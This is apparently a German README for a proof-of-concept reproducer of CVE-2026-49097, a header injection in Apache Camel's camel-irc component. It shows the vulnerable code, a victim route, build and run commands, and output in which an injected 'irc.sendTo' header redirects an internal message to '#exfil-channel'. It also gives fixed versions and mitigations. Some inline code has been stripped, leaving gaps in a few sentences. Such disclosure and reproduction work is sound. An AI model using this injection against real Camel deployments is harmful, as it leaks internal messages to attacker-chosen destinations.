
PoC-Reproducer für CVE-2026-49097 (Apache Camel camel-irc): Der nicht mit Camel-Präfix versehene irc.sendTo-Header umgeht den HTTP-Header-Filter und überschreibt den konfigurierten Kanal des Producers, wodurch eine IRC-Nachricht an ein vom Angreifer gewähltes Ziel umgeleitet wird. Behoben in 4.14.8/4.18.3/4.21.0.
Dieses Projekt demonstriert eine Message-Header-Injection in der camel-irc-Komponente von Apache Camel, die als CVE-2026-49097 geführt wird. IrcProducer liest den Header irc.sendTo, um das Ziel der ausgehenden IRC-Nachricht zu bestimmen; wenn er vorhanden ist, überschreibt er die im Endpoint konfigurierte Kanalliste:
// IrcProducer.process (affected 4.18.2)
final String sendTo = exchange.getIn().getHeader(IrcConstants.IRC_SEND_TO, String.class); // "irc.sendTo"
...
} else if (sendTo != null) {
connection.doPrivmsg(sendTo, msg); // attacker-chosen destination
} else {
for (IrcChannel channel : getEndpoint().getConfiguration().getChannelList()) {
connection.doPrivmsg(channel.getName(), msg); // the intended, configured channel(s)
}
}
Die Header-Konstante IRC_SEND_TO hat den einfachen Wert . Da sie nicht mit dem Präfix / beginnt, lässt – der an der HTTP-Grenze nur den Camel-Header-Namespace blockiert – sie aus einer eingehenden HTTP-Anfrage direkt in den Exchange passieren.
irc.sendToCamelcamelHttpHeaderFilterStrategyIn einer Route, die einen HTTP-Consumer (z. B. platform-http) mit einem irc:-Producer verbindet, kann daher jeder HTTP-Client irc.sendTo setzen und die Nachricht an einen beliebigen IRC-Kanal oder Nick umleiten, wodurch Inhalte, die für einen internen Kanal bestimmt waren, zu einem vom Angreifer überwachten Ziel exfiltriert werden oder der Bot in einem anderen Kanal impersoniert wird. Neun weitere irc.*-Konstanten wurden in derselben Korrektur umbenannt; irc.sendTo ist die direkt ausnutzbare.
Dieses PoC zeigt die Auswirkung als Nachrichten-Umleitung / Offenlegung von Informationen (CWE-20 → CWE-74).
Sicherheitshinweis: https://camel.apache.org/security/CVE-2026-49097.html
| Property | Value |
|---|---|
| Komponente | camel-irc |
| Betroffene Klasse | org.apache.camel.component.irc.IrcProducer liest IrcConstants.IRC_SEND_TO ("irc.sendTo") |
| CWE | CWE-20 (Unzureichende Eingabevalidierung) / CWE-74 (Injection) |
| Auswirkung | Umleitung einer ausgehenden IRC-Nachricht an einen vom Angreifer gewählten Kanal/Nick (Exfiltration, Identitätsdiebstahl) |
| Voraussetzungen | Eine Route verbindet einen HTTP-Consumer mit einem irc:-Producer; ohne Authentifizierung, wenn der Consumer |
| Betroffene Versionen | Von 4.0.0 bis vor 4.14.8, von 4.15.0 bis vor 4.18.3, von 4.19.0 bis vor 4.21.0 |
| Behobene Versionen | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23629 (PR apache/camel#23594) |
| Danksagung | Yu Bao (PayPal) |
Die Korrektur benennt die zehn
irc.*-Header-Konstanten in dieCamelIrc*-Konvention um (z. B.irc.sendTo→CamelIrcSendTo), sodass sie an der HTTP-Grenze wie jeder andere Camel-Kontroll-Header gefiltert werden. Gleiche Familie wie CVE-2025-27636, CVE-2026-46454 und CVE-2026-48206. Hinweis:camel-ircist ab 4.21.0 veraltet.
Die Schwachstelle liegt vollständig in der Zielauswahl von IrcProducer; der IRC-Socket ist nur Transport. Dieser Reproducer führt den echten IrcProducer und die echte irclib-Klasse IRCConnection aus, die so abgeleitet wurde, dass ihre send(...)-Methode (durch die jeder do*-Befehl – einschließlich doPrivmsg – läuft) das PRIVMSG-Ziel aufzeichnet, statt in einen Socket zu schreiben. Eine kleine benutzerdefinierte irc-Komponente stellt diese aufzeichnende Verbindung bereit. Es wird kein IRC-Netzwerk kontaktiert.
from("platform-http:/notify")
.to("irc:ircnet:6667?nickname=notifierbot&channels=%23alerts&commandTimeout=100");
Ein „Notify“-Endpoint, der an einen festen internen Kanal #alerts weiterleitet. Es gibt keinen Zielparameter in der HTTP-API – der Autor nimmt an, dass der Client den Kanal nicht wählen kann. Der Angreifer setzt irc.sendTo und der Bot postet in einen Kanal der Wahl des Angreifers.
CVE-2026-49097/
├── pom.xml # camel-platform-http + camel-irc 4.18.2 (irclib 1.10)
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── RecordingIRCConnection.java # real IRCConnection subclass; records PRIVMSG targets, no socket
│ ├── RecordingIrcComponent.java # hands out the recording connection
│ ├── IrcComponentConfig.java # registers it under the 'irc' scheme
│ ├── IrcRecorder.java # captures the last delivered target + text
│ ├── VictimRoute.java # platform-http:/notify -> irc:...#alerts
│ └── ExploitController.java # attacker: injects irc.sendTo=#exfil-channel
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
=== CVE-2026-49097 — camel-irc irc.sendTo header injection (message redirection) ===
Route intent: POST /notify -> IRC channel #alerts (fixed in the endpoint config)
1) Legitimate POST /notify (no irc.sendTo header)
IRC message delivered to: #alerts
text: Revenue report Q3: $4.2M (internal distribution only)
2) Injected POST /notify with header 'irc.sendTo: #exfil-channel'
IRC message delivered to: #exfil-channel
text: Revenue report Q3: $4.2M (internal distribution only)
>>> PROVEN: an inbound HTTP header (irc.sendTo) passed the Camel HTTP header filter and
>>> overrode the producer's configured channel, sending the internal notification to an
>>> attacker-chosen IRC destination (exfiltration / bot impersonation): true
Upgrade auf 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23629). Nach dem Upgrade müssen Routen, die das IRC-Ziel über einen Header setzen, den Namen CamelIrcSendTo verwenden. Hinweis: camel-irc ist ab 4.21.0 veraltet.
Bis zum Upgrade sollten die Camel-IRC-Kontroll-Header aus jedem nicht vertrauenswürdigen Eingang vor dem irc:-Producer entfernt werden (z. B. removeHeaders("irc.*")), und das Ziel sollte aus einer vertrauenswürdigen Quelle gesetzt werden.
Dieser Reproducer dient ausschließlich der Sicherheitsforschung und autorisierten Tests für eine öffentlich offengelegte und behobene Schwachstelle. Verwenden Sie ihn nicht gegen Systeme ohne ausdrückliche Erlaubnis.